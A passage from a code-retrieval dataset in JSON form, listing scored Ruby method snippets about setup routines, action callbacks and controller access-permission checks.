"docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
dbd2363ec804b6304110593cf2a3b3f4
check_access is implemented in most subclassed controllers (where needed)
[ { "docid": "e38945539050dbeb161e7d670c8f1518", "score": "0.7567477", "text": "def check_access\n return true if params[:controller] =~ /newrelic|login|heartbeat|awstats/\n\n #if params[:controller] =~ \"api_login\"\n # logger.info \"APILOGIN: #{params.inspect}\"\n #end\n # check controller\n if !params[:id].blank? && params[:controller] =~ /score|faq/\n if current_user && (current_user.access?(:all_users) || current_user.login_user?)\n if session[:journal_entry]\n logger.info \"REQUEST #{params[:controller]}/#{params[:action]} #{'/' + (params[:id] || \"\")} cookie: '#{session[:journal_entry]}' user: '#{current_user.id}' @ #{9.hours.from_now.to_s(:short)}\"\n end\n # cookies_required # redirects if cookies are disabled\n if params[:action] =~ /edit|update|delete|destroy|show|show.*|add|remove/\n # RAILS_DEFAULT_LOGGER.debug \"Checking access for user #{current_user.login}:\\n#{params[:controller]} id: #{params[:id]}\\n\\n\"\n id = params[:id].to_i\n return check_controller_access(params[:controller], params[:answers]) # access\n # end\n else\n puts \"ACCESS FAILED: #{params.inspect}\"\n params.clear\n redirect_to login_path\n end\n end\n return true\n end\n\n def check_controller_access(controller, answers)\n case controller\n when /faq/\n access = current_user.access?(:superadmin) || current_user.access?(:admin)\n when /score_reports|answer_reports/ # TODO: test this one!!!\n access = if answers\n answers.keys.all? { |entry| current_user.has_journal? entry }\n else\n current_user.has_journal? id\n end\n when /scores/\n access = current_user.access? :superadmin\n when /group|role/\n access = current_user.access? :superadmin\n else\n puts \"APP CHECKACCESS #{params.inspect}\"\n access = current_user.access? :superadmin\n end\n return access\n end\n end", "title": "" } ]
[ { "docid": "77f516df9e9ebe1bfec96f5de84dfe63", "score": "0.8604054", "text": "def checkAccess\n end", "title": "" }, { "docid": "6e5f810929ff8ed836920b0478003f39", "score": "0.7891193", "text": "def check_access\n return true if params[:controller] =~ /newrelic|login/\n # check controller\n if !params[:id].blank? && params[:controller] =~ /score|faq/\n if current_user && (current_user.access?(:all_users) || current_user.access?(:login_user))\n if params[:action] =~ /edit|update|delete|destroy|show|show.*|add|remove/\n # RAILS_DEFAULT_LOGGER.debug \"Checking access for user #{current_user.login}:\\n#{params[:controller]} id: #{params[:id]}\\n\\n\"\n id = params[:id].to_i\n # puts \"checking access... params: #{params.inspect}\"\n case params[:controller]\n when /faq/\n access = current_user.access?(:superadmin) || current_user.access?(:admin)\n when /score_reports/ # TODO: test this one!!!\n journal_ids = Rails.cache.fetch(\"journal_ids_user_#{current_user.id}\") { current_user.journal_ids }\n access = if params[:answers]\n params[:answers].keys.all? { |entry| journal_ids.include? entry }\n else\n access = journal_ids.include? id\n end\n when /scores/\n access = current_user.access? :superadmin\n when /group|role/\n access = current_user.access? :superadmin\n else\n puts \"APP CHECKACCESS #{params.inspect}\"\n \n access = current_user.access? :superadmin\n end\n return access\n end\n else\n puts \"ACCESS FAILED: #{params.inspect}\"\n params.clear\n redirect_to login_path\n end\n end\n return true\n end", "title": "" }, { "docid": "9270d2bc9dff627764e645cfc117b8b2", "score": "0.7803228", "text": "def check_access\n return true unless current_user\n authorize!(:view, :basic_info)\n end", "title": "" }, { "docid": "dca529da46eb4db099b60c7891ef89aa", "score": "0.75797385", "text": "def validate_access!\n action = self.action_name\n clearance_levels = Array(current_clearance_levels)\n authorized = clearance_levels.any? { |c| keeper.lets? c, action, self.class }\n not_authorized! unless authorized\n end", "title": "" }, { "docid": "9798cd3d1321a00bd6f8069b6762f791", "score": "0.7571237", "text": "def check_access\n render_no_permission unless @sir_log.user_is_owner_or_deputy?( current_user.id )\n end", "title": "" }, { "docid": "c8b03b8f2dc9273ca945aed652ce94fd", "score": "0.75271946", "text": "def checkAccess\n @hasFullAccess = hasAccess(2)\n # Everybody has access to these methods\n if hasAccess(2) or \n action_name == 'members' or \n action_name == 'show' or \n action_name == 'edit_status' or \n (action_name == 'edit' and (Family.find(params[:id]).hasHomeTeacher(session[:user_id]) or @family.hasVisitingTeacher(session[:user_id]))) or \n (action_name == 'update' and (Family.find(params[:id]).hasHomeTeacher(session[:user_id]) or @family.hasVisitingTeacher(session[:user_id])))\n true\n elsif\n action_name == 'index' and not hasAccess(2)\n redirect_to(:action => 'members')\n else\n deny_access\n end\n end", "title": "" }, { "docid": "3f6c4ffc36ffed6f320bcb45adcd96ca", "score": "0.7404934", "text": "def check_permissions\n return if current_user&.any_roles?([:admin])\n\n case params[:controller]\n when 'identity_document_types', 'phone_types'\n reject_access\n when 'ensemble_levels', 'positions', 'statuses', 'musical_instruments'\n reject_access unless current_user.any_roles?(%i[main_leader])\n when 'ensembles', 'statistics'\n reject_access unless current_user.any_roles?(%i[leader main_leader])\n case params[:action]\n when 'new', 'create', 'destroy'\n reject_access unless current_user.any_roles?([:main_leader])\n when 'edit', 'update'\n unless current_user.any_roles?([:main_leader])\n ensemble_id = params[:id].to_i\n reject_access unless can_access_ensemble?(ensemble_id) && another_ensemble?(ensemble_id)\n end\n when 'show'\n unless current_user.any_roles?([:main_leader])\n ensemble_id = params[:id].to_i\n reject_access unless can_access_ensemble?(ensemble_id)\n end\n end\n when 'members'\n case params[:action]\n when 'index', 'new', 'create', 'new_upload', 'upload'\n reject_access unless current_user.any_roles?(%i[leader main_leader])\n when 'destroy', 'new_transfer'\n reject_access unless current_user.any_roles?(%i[leader main_leader]) && another_member?((params[:member_id] || params[:id]).to_i)\n when 'show', 'edit', 'update'\n if another_member?(params[:id].to_i)\n reject_access unless can_access_another_member?(params[:id])\n end\n end\n when 'memberships'\n case params[:action]\n when 'autocomplete'\n reject_access unless current_user.any_roles?(%i[leader main_leader])\n end\n end\n end", "title": "" }, { "docid": "74b1ba030cf71df9f01df9eadad9bfd3", "score": "0.7397046", "text": "def validate_access!\n clearance_level = current_clearance_level\n action = self.action_name\n not_authorized! unless keeper.lets? clearance_level, action, self.class\n end", "title": "" }, { "docid": "5192aa439493510b18bb0fb107edd3c5", "score": "0.7344002", "text": "def ensure_access!\n authorize! :read, ::User\n end", "title": "" }, { "docid": "5f9d88761b8a903cf26061f3e3aa0fba", "score": "0.73292845", "text": "def check_access\n if 1 != 1\n raise \"Illegal access: cannot access account.\"\n end\n end", "title": "" }, { "docid": "b62bded3293a540abe26fd950226a724", "score": "0.7289633", "text": "def check_access#:doc:\n\t error_404 unless logged_in?('roots') \n\tend", "title": "" }, { "docid": "275319df696a85d18bf95b384379c92c", "score": "0.7274443", "text": "def check_permissions(controller = request.parameters[\"controller\"], action = request.parameters[\"action\"])\n permission = false\n if !logged_in?\n logger.info \"access denied: not logged in\"\n access_denied\n elsif permitted?(controller, action)\n permission = true\n else\n logger.info \"permission denied, #{controller}, #{action}\"\n permission_denied\n end\n permission\n end", "title": "" }, { "docid": "e3287ad0c24d3e2ebf785144094d865f", "score": "0.7253251", "text": "def access\n\n end", "title": "" }, { "docid": "0d3cc289dd112004ab08fa7c8ce0fe56", "score": "0.7162731", "text": "def access_control\n authorization.authorize!\n end", "title": "" }, { "docid": "b394966741df205942db7a2f4ab88579", "score": "0.71599543", "text": "def check_access\n redirect_to root_path and return unless current_user.is_a_cook\n end", "title": "" }, { "docid": "c21946a6a0145d5950f021eafcb8faf6", "score": "0.7151901", "text": "def should_check_authorization?\n # yes by default unless it is the asset controller\n # (for public/admin auth details see the CMS initializer)\n\n return false if self.class.name == 'Comfy::Cms::AssetsController'\n\n # and bypass checking the jump action\n # - we're already authenticated as admin\n # - jump is just a redirect\n # - normal authorization cook is not called for this controller (only its children)\n return false if self.class.name == 'Comfy::Admin::Cms::BaseController' && params[:action].to_sym == :jump\n\n super\n end", "title": "" }, { "docid": "5046a5e463b230bd04370d2c7128a699", "score": "0.7134638", "text": "def check_permission\n redirect_to(root_url) unless can_edit?\n end", "title": "" }, { "docid": "a1bad3586be705ddbe6cf0743211c5bd", "score": "0.7106811", "text": "def check_authorization\n admin = current_user.is_user_in_role?('Admin')\n account_focal = current_user.is_user_in_role_for_org(\"Account Focal\", current_org_id)\n deviation_sme = current_user.is_user_in_role_for_org(\"Deviation SME\", current_org_id)\n\n if admin\n return false#edit access granted \n elsif AppConfig.read_only_flag=='y' and controller_path.include?(\"out_of_cycle\") and (controller_name=='deviations' or controller_name=='offline_suppressions')\n #system is in read-only mode for HC cycle Pages, and Both offline suppressions pages\n RAILS_DEFAULT_LOGGER.debug \"ApplicationController::check_authorization System in READ ONLY Mode-Test 1\"\n return true\n elsif AppConfig.read_only_flag=='y' and !controller_path.include?(\"out_of_cycle\")\n #system is in read-only mode for all HC cycle Pages\n RAILS_DEFAULT_LOGGER.debug \"ApplicationController::check_authorization System in READ ONLY Mode-Test 2\"\n return true\n elsif AppConfig.ooc_read_only_flag=='y' and controller_path.include?(\"out_of_cycle\")\n #system is in read-only mode for OOC Pages.\n return true\n elsif account_focal\n RAILS_DEFAULT_LOGGER.debug \"ApplicationController::check_authorization account_focal EDIT ACCESS Granted return false\"\n return false #edit access granted\n elsif (controller_name==\"deviations\" or controller_name==\"suppressions\" or\n controller_name==\"validation_groups\") and deviation_sme\n RAILS_DEFAULT_LOGGER.debug \"ApplicationController::check_authorization EDIT ACCESS Granted Returning FALSE\"\n return false #edit access granted\n else\n return true\n end\n end", "title": "" }, { "docid": "c3b1a50237451210ac644f61a91c8ba3", "score": "0.70846516", "text": "def can_access?(authorizable); true end", "title": "" }, { "docid": "4136948705c8f19dcb80d617f8d8aedd", "score": "0.7058836", "text": "def authorization_check(controller, action, request, context = {})\n # Determine the controller to look for\n controller_method = [controller, action].join(\"/\")\n # Get the privilegesets\n privilege_sets = Privilege.select(controller_method, request)\n # Check the privilege sets\n check_privilege_sets(privilege_sets, context)\n end", "title": "" }, { "docid": "7865ae81a5cd0a1979524625bf0a1cf8", "score": "0.7048941", "text": "def check_admin_access\n return true if current_user.admin?\n redirect_to requests_path, alert: 'You do not have previleges to perform this Action!'\n end", "title": "" }, { "docid": "6cde9f5343f44f9170426928160bdf4b", "score": "0.7042051", "text": "def check_access\n if !@photo_record.event.check_access(current_user)\n \t\t render plain: \"Access Restricted\" and return\n \t end\n end", "title": "" }, { "docid": "8b0d2ff6e1caa8d25842926299383511", "score": "0.7032343", "text": "def authorize(ctrl = params[:controller], action = params[:action])\r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ ctrl, action ]\r\n return true\r\n end \r\n # if action is not public, force login\r\n return unless require_login \r\n # admin is always authorized\r\n return true if self.logged_in_user.admin?\r\n # if not admin, check membership permission \r\n @user_membership ||= Member.find(:first, :conditions => [\"user_id=? and project_id=?\", self.logged_in_user.id, @project.id]) \r\n if @user_membership and Permission.allowed_to_role( \"%s/%s\" % [ ctrl, action ], @user_membership.role_id ) \r\n return true\t\t\r\n end\t\t\r\n render :nothing => true, :status => 403\r\n false\r\n end", "title": "" }, { "docid": "ff3ea66b6f4bb3d8290d74080c2fb32c", "score": "0.7030521", "text": "def check_permission\n unless current_user.admin? || (current_user == @user)\n not_found\n end\n end", "title": "" }, { "docid": "b72cf4a2089a8dbfe12309d5d11e034b", "score": "0.7019926", "text": "def check_authorization\n person = User.find(session[:user_id])\n if %w{product category }.include?(controller_name) && !person.admin?\n flash.now[:error] = \"You are not authorized to view the page requested\"\n redirect_to :controller => \"login\", :action => \"login\" and return false\n end\n end", "title": "" }, { "docid": "ac6b1e42684fde62dea70399385d81fc", "score": "0.7017226", "text": "def can_do( ctrl_name, action_name = 'index' )\n# DEBUG\n# puts \"\\r\\n=> [#{self.name}] can_do( #{ctrl_name}, #{action_name} )?\"\n if can_access( ctrl_name.to_s )\n# DEBUG\n# puts \"-- can_access: ok. Checking performing restrictions...\"\n return can_perform( ctrl_name.to_s, action_name.to_s )\n else # Controller access refused!\n# DEBUG\n# puts \"-- access denied!\"\n false\n end\n end", "title": "" }, { "docid": "ba791dea163cbd270530449d587f5c95", "score": "0.6984183", "text": "def check_access\n unless policy(:dashboard).show?\n flash[:warning] = \"You are not authorized to access that page!\"\n redirect_to dashboard_index_path\n end\n end", "title": "" }, { "docid": "6e4222ddf869b6b57b70d0eee775de04", "score": "0.69746834", "text": "def check_authorization\n # If no user or disabled, no need\n if Strongbolt.current_user.present? && Strongbolt.enabled?\n begin\n # Current model\n # begin\n obj = self.class.model_for_authorization\n # rescue Strongbolt::ModelNotFound\n # Strongbolt.logger.warn \"No class found or defined for controller #{controller_name}\"\n # return\n # end\n\n # Unless it is authorized for this action\n unless Strongbolt.current_user.can? crud_operation_of(action_name), obj\n Strongbolt.access_denied current_user, obj, crud_operation_of(action_name), request.try(:fullpath)\n raise Strongbolt::Unauthorized.new Strongbolt.current_user, action_name, obj\n end\n rescue Strongbolt::Unauthorized => e\n raise e\n rescue => e\n raise e\n end\n else\n Strongbolt.logger.warn 'No authorization checking because no current user'\n end\n end", "title": "" }, { "docid": "295da19e48fe139f59748b8d1a1976e7", "score": "0.6969072", "text": "def login_required\n # skip login check if action is not protected\n return true unless protect?(action_name)\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n # check if user is logged in and authorized\n return true if logged_in? and authorized?(current_user)\n \n # call overwriteable reaction to unauthorized access\n access_denied and return false \n end", "title": "" }, { "docid": "fceed0a02774e374c9fd4f8f9ba6ee39", "score": "0.6968411", "text": "def check_accesses\r\n path_params = request.path_parameters() #path_params[:action] path_params[:controller]\r\n if request.post? && (p = params[:user]) && path_params[:controller] == 'users' && path_params[:action] == 'login'\r\n self.current_user = User.sign_on(p[:login], p[:password]) if p[:login] && p[:password]\r\n flash[:login_succeeded] = true if self.current_user\r\n end\r\n logger.debug(\"[CHECK ACCESSES] Current User: #{self.current_user.inspect} #{path_params.inspect}\")\r\n session[:context] ||= {}\r\n\r\n # session[:context][:user_id] = self.current_user.id if self.current_user # context example\r\n # disable multiple session per user\r\n #if !@current_user.nil? && session.session_id != @current_user.last_session_id\r\n # @current_user = User.current = nil\r\n # reset_session\r\n # flash[:notice]='This session is no longer valid...<br/>Please login to continue'\r\n # session[:return_to]=request.fullpath if (path_params[:controller] != 'users' && path_params[:action] != 'logout')\r\n # redirect_to :controller => 'users', :action => 'login'\r\n # return false\r\n #end\r\n # Grants everything to Faveod Users\r\n\r\n return true if !self.current_user.nil? && self.current_user.active? && self.current_user.has_profile?(\"Faveod User\")\r\n return true if Rails.env == 'test' && params[:user_profile] == \"Faveod User\"\r\n\r\n # else get accesses\r\n\r\n action = Access.actions.where(:table_sid => path_params[:controller], :action_sid => path_params[:action]).first\r\n if action.nil?\r\n render :file => Rails.root.join(\"public\", \"404.html\"), :layout => false, :status => \"404 File Not Found\"\r\n return false\r\n end\r\n\r\n # Check if loggin is required\r\n\r\n if self.current_user.new_record?\r\n\r\n # not_logged = Profile.find_by_name('Not Logged')\r\n\r\n unless self.current_user.can_run?(action)\r\n flash[:notice] = _(\"Please login to continue.\")\r\n session[:return_to] = request.fullpath if (path_params[:controller] != 'users' &&\r\n !(['login','logout','home'].include?(path_params[:action])))\r\n redirect_to :controller => :users, :action => :login\r\n return false\r\n else\r\n return true\r\n end\r\n end\r\n\r\n # if granted is not allowed, redirect to the access denied\r\n\r\n if !self.current_user.can_run?(action)\r\n render :file => File.join(Rails.public_path, \"401.html\"), :layout => true, :status => \"401 Access Denied\"\r\n return false\r\n end\r\n return true\r\n end", "title": "" }, { "docid": "54d869a71c487c2e3e69d4d8a12feae9", "score": "0.6939905", "text": "def check_permissions\n render :action => 'permission_denied' unless authenticate\n end", "title": "" }, { "docid": "63ab2c62f73ea7610f25ce506a96dc7c", "score": "0.69243777", "text": "def check_action_for_role\n fname = \"#{self.class.name}.#{__method__}\"\n ok=true\n controller=params[\"controller\"]\n action=params[\"action\"]\n pos=controller.index(\"/\")\n # que les classes de 1er niveau (pas users/ et devise/...)\n if pos.nil?\n if logged_in?\n ok=check_action controller, action\n else\n ok=false\n msg=\"not logged!!\"\n end\n end\n unless ok\n msg=\"Action not authorized on #{controller_class_from_name(controller)} for action #{action}\"\n respond_to do |format|\n format.html { redirect_to_main(nil, msg) }\n format.xml { head :ok }\n end\n end\n\n end", "title": "" }, { "docid": "12f8e6d0fb5919c12427143d40dc7e0f", "score": "0.69110525", "text": "def login_required\n\t authorized? || access_denied\n\t end", "title": "" }, { "docid": "abdd5a08f9350dffcac717ed8da5db8f", "score": "0.6906138", "text": "def can_access( ctrl_name )\n rows = AppParameter.where( \"code >= #{AppParameter::PARAM_ACCESS_LEVEL_START} and code <= #{AppParameter::PARAM_ACCESS_LEVEL_START + self.authorization_level}\" )\n # Collect all accessible controller names up to this user level:\n arr = rows.collect { |row| row.free_text_1 }\n arr.delete('')\n accessible_ctrl_names = arr.join(',').gsub(' ','').split(',').compact\n return accessible_ctrl_names.include?( ctrl_name.to_s )\n end", "title": "" }, { "docid": "558d9a3a9537a9172abd923a22e6b54b", "score": "0.6902219", "text": "def access?(action, obj)\n name = obj&.class&.name # default\n name = t(\"g.authors\", count: 1) if name == \"Author\"\n name = t(\"g.quotes\", count: 1) if name == \"Quotation\"\n name = t(\"g.categories\", count: 1) if name == \"Category\"\n name = t(\"g.comment\") if name == \"Comment\"\n\n verb = t(\"g.have\") # default\n verb = t(\"g.no_admin\") if action == :admin\n verb = t(\"g.read\") if action == :read\n verb = t(\"g.update\") if action == :update\n verb = t(\"g.delete\") if action == :destroy\n\n msg = t(\"g.no_right\", name: name, id: obj&.id, msg: verb)\n\n if current_user and (current_user.admin or current_user.id == obj&.user_id)\n # own object or admin has read/write access\n return true\n end\n\n if action == :admin\n if current_user and current_user.admin\n return true\n end\n msg = t(\"g.no_admin\")\n else\n if action == :read\n if obj&.public == true\n # public read access\n return true\n else\n # read access denied\n msg += \" (#{t(\"g.not_publics\", count: 1)})\"\n end\n end\n if current_user\n if current_user.id != obj&.user_id\n # read/write other objects denied\n msg += \" (#{t(\"g.not_own_entry\")})\"\n end\n else\n # not logged in read access denied\n msg += \" (#{t(\"g.not_logged_in\")})\"\n end\n end\n\n flash[:error] = msg\n logger.debug { \"access failed with #{msg}\" }\n redirect_to forbidden_url\n return false\n end", "title": "" }, { "docid": "68eed8cf4b2bce765cbcd676276fdd27", "score": "0.6891732", "text": "def check_permission_to_access\n\n # no feature_access_level or level none:\n\n if ApplicationController.no_user_access?( self.feature_access_level )\n session[ :return_to ] = nil\n render_no_access\n return\n end\n\n # early exit if no access restrictions\n\n return if ( self.feature_access_level & FEATURE_ACCESS_ALL != 0 )\n \n # for the next levels, we need an existing user:\n # in case of time-out, allow user to return here\n\n if current_user.nil?\n session[ :return_to ] = request.url\n render_no_access\n return\n end\n\n # map_action_to_permission only once:\n\n permission_needed = map_action_to_permission\n\n # check if user needs access to index only\n\n return if( self.feature_access_level & FEATURE_ACCESS_INDEX != 0 )and\n permission_needed == :to_index\n\n # read access for all?\n\n return if( self.feature_access_level & FEATURE_ACCESS_READ != 0 )and\n permission_needed == :to_read\n\n # check for general access permission\n\n return if( self.feature_access_level & FEATURE_ACCESS_USER )== FEATURE_ACCESS_USER\n\n # finally, check if user has specific permissions\n\n return if current_user.permission_to_access( self.feature_identifier, permission_needed )\n\n # otherwise, allow user to request access\n\n request_change\n\n end", "title": "" }, { "docid": 